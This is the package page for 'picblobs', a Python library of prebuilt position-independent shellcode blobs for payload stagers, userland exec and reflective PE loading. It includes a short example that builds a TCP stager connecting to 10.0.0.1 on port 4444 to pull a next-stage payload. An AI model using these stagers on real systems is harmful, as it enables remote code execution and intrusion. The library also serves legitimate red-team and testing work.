picblobs 0.1.4

Position-independent code blob library

picblobs

picblobs ships prebuilt position-independent code blobs plus a Python API for selecting, inspecting, and assembling them.

The package contains the release-ready blob catalog:

• manifest.json for target and blob discovery
• Flat .bin payloads plus JSON sidecar metadata
• A builder API for parameterized blobs such as alloc_jump, stager_tcp, stager_fd, stager_pipe, stager_mmap, ul_exec, and reflective_pe

This package does not bundle the cross-compiled runner executables used for QEMU-based execution and verification. Install picblobs-cli alongside it if you want the CLI commands or bundled runners.

Install

pip install picblobs

Python API

import picblobs
from picblobs import Blob

blob = picblobs.get_blob("hello", "linux", "x86_64")
print(blob.sha256)

stage = (
    Blob("linux", "x86_64")
    .stager_tcp()
    .address("10.0.0.1")
    .port(4444)
    .build()
)

CLI

The CLI now lives entirely in the companion package:

pip install picblobs-cli
picblobs-cli list
picblobs-cli info hello linux:x86_64
picblobs-cli extract hello linux:x86_64 -o hello.bin

Installing picblobs-cli also provides the bundled runners and the full build/run/verify toolchain:

picblobs-cli verify --os linux

Project Links

• Documentation: https://github.com/williamkborn/pic/tree/main/docs
• Source: https://github.com/williamkborn/pic